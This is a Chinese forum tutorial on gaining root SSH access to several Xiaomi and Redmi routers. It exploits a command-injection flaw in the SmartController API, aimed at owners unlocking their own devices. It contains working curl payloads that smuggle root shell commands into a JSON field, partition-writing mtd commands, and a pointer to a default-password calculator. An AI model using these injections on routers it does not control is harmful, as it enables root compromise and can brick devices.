本帖最后由 Minorice 于 2024-4-16 10:06 编辑
如果懒得手动操作, 也可以看看 #67 楼的一键 BAT 脚本 [?] 如果遇到了教程内图片无法正常加载的问题, 建议切换网络环境后再试一次
———— 前言 ———— 前两天琢磨给 小米 AX3000 开 SSH 的时候看见了大佬开发的 XMIR-Patcher 脚本, 当时比较好奇是怎么实现的, 后来翻了翻源码以及几个相关 CVE, 发现小米好几款路由器的固件都能在一个叫做 SmartController 的 API 处被注入, 而且注入方式多达 2 种。仔细分析了一下具体漏洞, 研究出来一套只需要使用 curl 就可以开启理论上 AX3000/AIoT AX3600/AX9000/万兆路由器/AC2100/AIoT AC2350/AX1800/AX5400 电竞版/红米 AX3000 几个型号 SSH 的方法, 发到论坛来给大家分享一下。
———— 前期准备 ———— - 任意一台上述列表之中的路由器
- 一台可以使用 curl 命令的电子设备
路由器环境要求- 小米万兆路由器: MiWiFi ROM 稳定版 1.0.53
- 小米路由器 AC2100: MiWiFi ROM 稳定版 2.0.743
- 小米路由器 AX1800: MiWiFi ROM 稳定版 1.0.399
- 小米路由器 AX3000: MiWiFi ROM 稳定版 1.0.48 / 1.0.46
- 小米 AIoT 物联路由器 AX3600: MiWiFi ROM 稳定版 1.1.21
- 小米路由器 AX9000: MiWiFi ROM 稳定版 1.0.165
- 小米 AIoT 物联路由器 AC2350: MiWiFi ROM 稳定版 1.3.8
- 红米路由器 AX5400 电竞版: MiWiFi ROM 稳定版 1.0.95
- 红米路由器 AX3000: MiWiFi ROM 稳定版 1.0.33
设备环境要求- 可以连接到路由器
- Windows 操作系统的设备: 任意终端软件 (cmd / Windows Terminal / Git Bash / ...)
[!] 如果路由器比推荐版本新, 建议执行降级, 否则无法保证注入成功。
小米路由器历史固件获取方法: (?) 如何获取我的路由器硬件代号 这里提供了上面提到的几款路由器的部分历史固件下载链接。 (?) 发布时间从晚到早。 (...) 如果无法正常发起下载, 请手动复制链接后再粘贴到浏览器导航栏中。可能是 Referer 限制导致。 小米万兆路由器: 小米路由器 AC2100:
小米路由器 AX1800: 小米路由器 AX3000:
1.0.48 STA (暂缺) 1.0.46 STA 1.0.42 STA 1.0.30 STA 1.0.15 STA
小米 AIoT 物联路由器 AX3600:
1.1.21 STA 1.1.19 STA 1.1.15 STA 1.1.12 STA 1.0.79 STA 1.0.67 STA 1.0.66 STA 1.0.50 STA 1.0.20 STA 1.0.17 STA
小米路由器 AX9000:
1.0.168 STA 1.0.165 STA 1.0.155 STA 1.0.108 STA 1.0.101 STA 1.0.82 STA
1.0.140 DEV
小米 AIoT 物联路由器 AC2350:
1.3.8 STA
—— 正文 —— 一切准备停当, 我们准备开始。 首先, 请打开你的路由器, 将其连接到你的设备。 请确认你的路由器的 IP 地址, 并登录到路由器后台获取 stok 值。 (?) 不知道如何获取 stok 值? 请在论坛搜索相关教程。 在下文中, 部分内容将以此种方式引用:
<HOST>: 你的路由器的 IP 地址
<TOKEN>: 你获取到的 stok 值
让我们开始吧。
第一步: 激活米家智能控制器功能
SmartController 功能在大部分场景下默认处于禁用状态, 我们需要通过重新设置路由器系统时间来激活这个功能。 打开你的终端软件, 输入以下命令: [!] 注意: 针对 Windows 用户, 请不要在 PowerShell 内执行。PowerShell 内置的 curl 命令格式与本文中所使用的不同。请使用 cmd (conhost) / Git Bash / WSL。 - curl -X GET "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/misystem/set_sys_time?time=2023-2-19%2023:4:47&timezone=CST-8"
复制代码 [!] 注意: 这将会将你的路由器系统时间重置为 2023 年 02 月 19 日 23 时 04 分 47 秒, 时区为 GMT +8, 请在注入完成后调回系统时间。
这样我们就激活了 SmartController 功能, 可以开始注入了。
(?) 故障排查: 找不到 curl 命令?
—— [!] 如果你能正常使用 curl 命令, 请跳过下面的步骤, 请直接导航到第二步 (使用 sed 解锁 dropbear 配置) ——
你使用的可能是非标准 Linux 发行 / 较低版本的 Windows 操作系统 (< Windows 10) 。针对低版本 Windows 操作系统, 请跟随以下步骤手动创建临时 curl 环境:
1. 下载 curl 编译后软件包
请前往 curl for Windows 以下载 curl 编译后软件包。
部分地区下载速度可能较慢或出现无法访问等情况, 可以前往 123 云盘 (提取码: phm1) 下载。
下载完成后解压。
2. 进入 curl 编译后软件包的 /bin 二进制文件目录
使用命令:
来进入到解压后 curl 的 /bin 目录中。
输入 dir, 目录下的文件应类似如图所示:
现在, 其实我们已经基本完成了。你有两种选择:
仅将 curl 临时使用:
如果你希望进行后者, 那么请直接保留在当前目录下, 开始重新从第一步执行 curl 命令。但请注意, 这种情况下, 请将你所有的 "curl" 命令都改为 ".\curl.exe"。例如此时我要执行- curl -X GET "http://192.168.31.254/cgi-bin/luci/;stok=mediatekarmisgreat!!!areuok?/api/misystem/set_sys_time?time=2077-7-7%2000:00:00&timezone=CST-8"
复制代码 那么实际执行命令就应该为- .\curl.exe -X GET "http://192.168.31.254/cgi-bin/luci/;stok=mediatekarmisgreat!!!areuok?/api/misystem/set_sys_time?time=2077-7-7%2000:00:00&timezone=CST-8"
复制代码 否则你可能会看到找不到文件的错误。
创建持久 curl 环境:
如果你希望进行这个, 操作可能会复杂一些, 但可以避免你在以后使用其他帖子中 curl 命令时遇到麻烦。
任意打开一个文件资源管理器窗口, 导航到你解压 curl 的位置。
请注意, 部分设备上解压后, 文件夹可能存在两级, 请导航到如图所示的位置中。
选中 curl-X.X.X_X-winXX-mingw 文件夹, 将其重命名为 curl。
(如果提示文件夹被占用, 请暂时关闭前面打开的命令窗口)
将其剪切并移动到 C:\Program Files\ 下, 现在你应该看到有这样一个目录: C:\Program Files\curl
打开后的目录结构类似下图:
接下来请选中顶部地址栏并复制整条路径, 例如本例中为 C:\Program Files\curl。
然后依次点击 右键 此电脑 (计算机) - 属性 - 高级系统设置, 打开如图所示的窗口。
[!] 注: 在 Windows 10 1609 或更早的版本上 (包括 Windows 8.1、Windows 7), 按下"属性"后打开的是控制面板页面, 此时"高级系统设置"选项可能显示在面板左侧。
在打开的窗口中, 选中 "环境变量"。
在新打开的窗口中, 选中名称为 "Path" 的环境变量 (用户) 并单击下方的 "编辑"
在打开的窗口中, 单击 "新建", 然后输入我们前面获取到的文件夹路径 C:\Program Files\curl + \bin。按下确定保存
再在环境变量设置窗口中, 单击 "确定"。
现在, 重启你的命令提示符。然后输入 "curl" 试试, 如果能看到正常输出, 那么一切都完成了。curl 已经安装并添加到了你的 PATH 中, 即使下次使用也不会丢失。
如果还是提示找不到相关应用, 请尝试注销后重新登陆或重新启动电脑。
第二步: 使用 sed 解锁 dropbear 配置
在现在, 我们可以通过注入漏洞在路由器上以 root 身份执行任意命令, 且没有任何限制。让我们来使用 sed 将 /etc/init.d/dropbear 中的所有 release 字段替换为 XXXXXX。
- curl -X POST "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/xqsmarthome/request_smartcontroller" -d "payload=%7B%22command%22%3A%22scene_setting%22%2C%22name%22%3A%22'%24(sed%20-i%20s%2Frelease%2FXXXXXX%2Fg%20%2Fetc%2Finit.d%2Fdropbear)'%22%2C%22action_list%22%3A%5B%7B%22thirdParty%22%3A%22xmrouter%22%2C%22delay%22%3A17%2C%22type%22%3A%22wan_block%22%2C%22payload%22%3A%7B%22command%22%3A%22wan_block%22%2C%22mac%22%3A%2200%3A00%3A00%3A00%3A00%3A00%22%7D%7D%5D%2C%22launch%22%3A%7B%22timer%22%3A%7B%22time%22%3A%223%3A1%22%2C%22repeat%22%3A%220%22%2C%22enabled%22%3Atrue%7D%7D%7D"
复制代码 执行完这段命令后的返回应类似如图所示:
(?) 故障排查
如果返回为 {"code": 3, "msg": "parameter error"}: 请检查是否已完整复制命令。如果请求中多出了一个或多个双引号 / 单引号, 或payload负载格式不正确, 均有可能导致这个问题。
如果返回为 Internal Server Error: 请检查路由器运行状态。如果运行状态无异常, 可能是:
- 该 ROM 版本已增加注入检测, 无法直接利用此漏洞, 建议降级。
- 请求格式异常, 可能是因为请求中包含了不允许的特殊字符或异常转义符号。
如果返回为 {"code": -100, "msg": "connect failed!"}: 连接到小米智能场景控制器服务 smartcontroller.service 失败。建议尝试重启路由器或恢复出厂设置。
- 如果你有其他的短命令注入入口, 尝试在路由器上运行 service smartcontroller restart
- 你的路由器可能未清除 crash 分区, 请检查能否通过 telnet / ssh 任一方式连接, 如能, 请转到第七步的第三子项以退出工厂模式。如果无法连接, 那么可能陷入了死循环, 尝试使用救砖工具恢复设备。若仍然无效, 请送售后维修。
如果返回为 {"code": 3001, "msg": "invalid token"}: stok 代币值已过期, 请重新登录 Web 管理后台获取
注意, 执行完这段命令之后, 我们只是保存了一个智能场景任务, 但没有触发执行它。再来请求一下, 手动执行这个定时任务, 这样就可以完成注入。- curl -X POST "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/xqsmarthome/request_smartcontroller" -d "payload=%7B%22command%22%3A%22scene_start_by_crontab%22%2C%22time%22%3A%223%3A1%22%2C%22week%22%3A0%7D"
复制代码 请求完这个 URL, 任务就会被执行了, 注入的命令也被运行了。
请求后的返回应类似如图所示:
(?) 故障排查
如果返回为 {"code": -100, "msg": "connect failed!"}: 连接到小米智能场景控制器服务 smartcontroller.service 失败。建议尝试重启路由器或恢复出厂设置。
如果返回为 {"code": 3004, "msg": "request server timed out"}: smartcontroller 服务在执行任务时无响应。这可能是因为错误的 SmartTask.sc 记录导致的。建议恢复路由器出厂设置。
如果返回为 Internal Server Error: 请检查路由器运行状态。
不错, 我们完成了第一步, 解锁 dropbear, 接下来继续。
第三步: 使用 nvram 激活 ssh_en 配置项
我们接着请求, 提交 nvram set ssh_en=1 命令。
- curl -X POST "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/xqsmarthome/request_smartcontroller" -d "payload=%7B%22command%22%3A%22scene_setting%22%2C%22name%22%3A%22'%24(nvram%20set%20ssh_en%3D1)'%22%2C%22action_list%22%3A%5B%7B%22thirdParty%22%3A%22xmrouter%22%2C%22delay%22%3A17%2C%22type%22%3A%22wan_block%22%2C%22payload%22%3A%7B%22command%22%3A%22wan_block%22%2C%22mac%22%3A%2200%3A00%3A00%3A00%3A00%3A00%22%7D%7D%5D%2C%22launch%22%3A%7B%22timer%22%3A%7B%22time%22%3A%223%3A2%22%2C%22repeat%22%3A%220%22%2C%22enabled%22%3Atrue%7D%7D%7D"
复制代码 执行命令。
- curl -X POST "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/xqsmarthome/request_smartcontroller" -d "payload=%7B%22command%22%3A%22scene_start_by_crontab%22%2C%22time%22%3A%223%3A2%22%2C%22week%22%3A0%7D"
复制代码 然后, 提交 nvram 修改。
- curl -X POST "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/xqsmarthome/request_smartcontroller" -d "payload=%7B%22command%22%3A%22scene_setting%22%2C%22name%22%3A%22'%24(nvram%20commit)'%22%2C%22action_list%22%3A%5B%7B%22thirdParty%22%3A%22xmrouter%22%2C%22delay%22%3A17%2C%22type%22%3A%22wan_block%22%2C%22payload%22%3A%7B%22command%22%3A%22wan_block%22%2C%22mac%22%3A%2200%3A00%3A00%3A00%3A00%3A00%22%7D%7D%5D%2C%22launch%22%3A%7B%22timer%22%3A%7B%22time%22%3A%223%3A3%22%2C%22repeat%22%3A%220%22%2C%22enabled%22%3Atrue%7D%7D%7D"
复制代码 执行命令。
- curl -X POST "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/xqsmarthome/request_smartcontroller" -d "payload=%7B%22command%22%3A%22scene_start_by_crontab%22%2C%22time%22%3A%223%3A3%22%2C%22week%22%3A0%7D"
复制代码 好。这个时候我们看 http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/xqsystem/fac_info, "ssh" 应该已经变成 true 了。就差启动 dropbear 服务了!
(?) 故障排查
SSH 配置项没有变为 true ?
请确认你已经正确执行了第一步。激活 SmartController 功能是必要的。
如果还是不行, 那么该漏洞可能不适用于你的路由器或路由器 ROM 版本。请尝试更换旧版固件或更换路由器。
第四步: 启动 dropbear 服务
提交 dropbear enable 命令。
- curl -X POST "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/xqsmarthome/request_smartcontroller" -d "payload=%7B%22command%22%3A%22scene_setting%22%2C%22name%22%3A%22'%24(%2Fetc%2Finit.d%2Fdropbear%20enable)'%22%2C%22action_list%22%3A%5B%7B%22thirdParty%22%3A%22xmrouter%22%2C%22delay%22%3A17%2C%22type%22%3A%22wan_block%22%2C%22payload%22%3A%7B%22command%22%3A%22wan_block%22%2C%22mac%22%3A%2200%3A00%3A00%3A00%3A00%3A00%22%7D%7D%5D%2C%22launch%22%3A%7B%22timer%22%3A%7B%22time%22%3A%223%3A4%22%2C%22repeat%22%3A%220%22%2C%22enabled%22%3Atrue%7D%7D%7D"
复制代码 执行命令。
- curl -X POST "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/xqsmarthome/request_smartcontroller" -d "payload=%7B%22command%22%3A%22scene_start_by_crontab%22%2C%22time%22%3A%223%3A4%22%2C%22week%22%3A0%7D"
复制代码 提交 dropbear restart 命令, 重启 dropbear 服务。
- curl -X POST "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/xqsmarthome/request_smartcontroller" -d "payload=%7B%22command%22%3A%22scene_setting%22%2C%22name%22%3A%22'%24(%2Fetc%2Finit.d%2Fdropbear%20restart)'%22%2C%22action_list%22%3A%5B%7B%22thirdParty%22%3A%22xmrouter%22%2C%22delay%22%3A17%2C%22type%22%3A%22wan_block%22%2C%22payload%22%3A%7B%22command%22%3A%22wan_block%22%2C%22mac%22%3A%2200%3A00%3A00%3A00%3A00%3A00%22%7D%7D%5D%2C%22launch%22%3A%7B%22timer%22%3A%7B%22time%22%3A%223%3A5%22%2C%22repeat%22%3A%220%22%2C%22enabled%22%3Atrue%7D%7D%7D"
复制代码 执行命令。
- curl -X POST "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/xqsmarthome/request_smartcontroller" -d "payload=%7B%22command%22%3A%22scene_start_by_crontab%22%2C%22time%22%3A%223%3A5%22%2C%22week%22%3A0%7D"
复制代码
第五步: 连接到 SSH
一切都完成了, 激动人心的时刻。
打开你喜欢的 SSH 软件, ssh root@<HOST>, 如果能够建立连接, 那么就注入成功了!
默认密码可以在 MiWiFi.DEV SSH Passwd Calculator 计算, 输入你的 S/N 序列号即可得到默认密码, 使用默认密码就能连接。
(?) 故障排查
无法连接到 SSH?
如果仍然无效, 请先确认第三步中的 SSH 是否已经变为 true。如果是, 请尝试使用漏洞注入 sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear 命令。(注: 该注入可能较为困难, 涉及到多重引号的转义问题。)
如果还是没有响应, 请参阅文末 故障排查 部分。
注意: 此异常已在 AIoT AC2100 上成功复现, 如果你遇到了此类问题, 请先参见本帖 25 楼开启 Telnet, 并尝试使用 Telnet 连接, 如果仍然无效, 可能是当前 ROM 版本增加了某些限制。建议降级。针对 AC2100 的用户, 可以参照 此处 的解决办法。
第六步: 重置路由器时间
前往路由器 Web 后台或者使用 API (仅当路由器作为 Mesh 子路由时) 来重置时间。- curl -X GET "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/misystem/set_sys_time?time=<年>-<月>-<日>%20<时>:<分>:<秒>&timezone=<时区>"
复制代码 例如我要将时间重置为 2024 年 2 月 20 日 10 时 40 分 30 秒, 那么请求就应该表示为- curl -X GET "http://<HOST>/cgi-bin/luci/;stok=<TOKEN>/api/misystem/set_sys_time?time=2024-2-20%2010:40:30&timezone=CST-8"
复制代码 [?] 如果没有将目标服务器作为子路由使用, 你可以直接通过 Web 管理后台来重置时间, 无需通过 API 重置。
[√] 你还可以通过 SSH 来重置时间, 用法:- leijun@XiaoQiang:~ # date -s <时间戳>
复制代码 [!] 第一~五步完成后请务必执行本步骤, 否则可能导致路由器无法正确使用联网功能 (SSL 时间校验失败错误)。例如系统更新功能无法正常使用等。
第七步: 硬固化
[!] 如无此需求可跳过。
[!] 此方法仅在 小米 AX3000 路由器上测试过, 其他型号仍未测试。请自行承担相关风险。
完成 SSH 解锁后, 设备的 SSH 访问依然会在重启后丢失。我们需要对其进行固化。
本文中仅指明硬固化方法。
针对 AX3000 来说, 硬固化的具体流程大体与 AX3000T 的相同, 仅有少许差异。而其他型号的硬固化流程暂未可知, 敬请自行测试。
在执行此步骤前, 建议先手动开启 telnet (未证实必要性)。
- nvram set telnet_en=1
- nvram commit
复制代码 1. 修改 crash 分区, 进入工厂模式
使用 SSH 连接到路由器, 执行命令:
- zz=$(dd if=/dev/zero bs=1 count=2 2>/dev/null) ; printf '\xA5\x5A%c%c' $zz $zz | mtd write - crash
复制代码 这会解锁 crash 分区并使其进入工厂模式。
接下来, 重启路由器。等待路由器重启完成。
2. 修改 nvram、bdata 数据并提交
重启完成后, SSH 服务应该没有被启动。在这种情况下, 我们要使用 telnet 连接。
(?) 如何安装 telnet 客户端或使用 Windows 原生的 telnet 命令: 参考 Redmi AX6000 解锁教程
密码为 前面计算得到 的密码。(正常情况下, 设备在此状态下无需密码即可连接)
连接成功后, 依次执行下列命令:- nvram set ssh_en=1
- nvram set telnet_en=1
- nvram set uart_en=1
- nvram set boot_wait=on
- nvram commit
- bdata set ssh_en=1
- bdata set telnet_en=1
- bdata set uart_en=1
- bdata set boot_wait=on
- bdata commit
复制代码 这将会修改 nvram 分区、bdata 分区中的参数, 启用 SSH、Telnet、UArt、启动等待。然后提交修改。
最后, 我们重启一下路由器。
3. 清空 crash 分区, 退出工厂模式
[!] 重要: 请务必执行本命令。否则不退出工厂模式, 大量设备功能将无法正常运行。可能会出现包括但不限于 Web 管理后台无法获取已连接设备、SmartController 服务状态异常、无法进行 Mesh 组网、Web 管理后台部分功能设置无效、米家无法正常绑定 / 连接设备等问题。如果你的设备遇到了此类问题, 请清除 crash 分区以退出工厂模式。
重启完成后, 再次使用 Telnet 连接 (参考前面)。
这会清除 crash 分区中的内容。
等待重启。
4. 恢复 SSH 服务器访问
重启后依然使用 Telnet 连接。
连接后, 执行下列命令:
- sed -i '/flg_ssh=`nvram get ssh_en`/{:loop; N; /\n.*channel=`\/sbin\/uci get \/usr\/share\/xiaoqiang\/xiaoqiang_version.version.CHANNEL`\n.*return 0\n.*fi/!b loop; d}' /etc/init.d/dropbear; /etc/init.d/dropbear restart
复制代码 SSH 服务器应该已成功运行。
[!] 注意: 以后每次系统更新 / 恢复出厂设置后, 可能都需要先连接到 Telnet, 然后执行上面 (sed -i '/flg_ssh=`nvram get ssh_en`/{:loop; N; /\n.*channel=`\/sbin\/uci get \/usr\/share\/xiaoqiang\/xiaoqiang_version.version.CHANNEL`\n.*return 0\n.*fi/!b loop; d}' /etc/init.d/dropbear; /etc/init.d/dropbear restart) 的命令以解锁 SSH。且每次系统更新 / 恢复出厂设置后, root 密码均会被重置为 S/N 计算得出的密码。
—— 后记 ——
别的没什么好说, 就不知道小米一直留着这个漏洞不修干什么, AX3000 现在最新固件都还能用这个漏洞。
—— 故障排查 ——
如果你没有成功地通过此方法激活 SSH, 那么请检查一下操作过程中是否存在以下问题:
- 是否已严格地根据教程中的顺序执行命令? 部分命令可能看起来大体相同, 但其中有细微的差别。例如几个执行定时任务的命令, 请求的 API 以及数据结构都一致, 但是其请求的执行时间不同。如果这些命令都直接使用了第一次复制的内容, 实际效果就是 sed 命令被执行了好几遍, 其他命令一个都没有被执行。
- 是否已经手动激活了 SmartController 功能? 部分设备上, 如果通过 API 更新时间无效, 请尝试手动在 Web 管理页面重设设备时间。(任意时间均可)
- 是否存在时间重叠的智能场景任务? 本教程中的智能场景命令调用的时间分别为 3:1、3:2、3:3、3:4、3:5。如果你之前使用过与 SmartController 有关的功能, 且在这些时段内创建过智能任务, 建议删除智能任务或直接恢复出厂设置。
- 路由器 ROM 版本是否匹配? 部分较新版 ROM 中, 这个问题可能已经被修复。CVE 的提交引起了小米对整个 SmartController API 逻辑的注意, 如果失败, 请降级到上文建议的 ROM 版本后再试。如若仍然无效, 请在帖子下方回复并提供你执行 curl 命令后的返回、路由器信息等。
|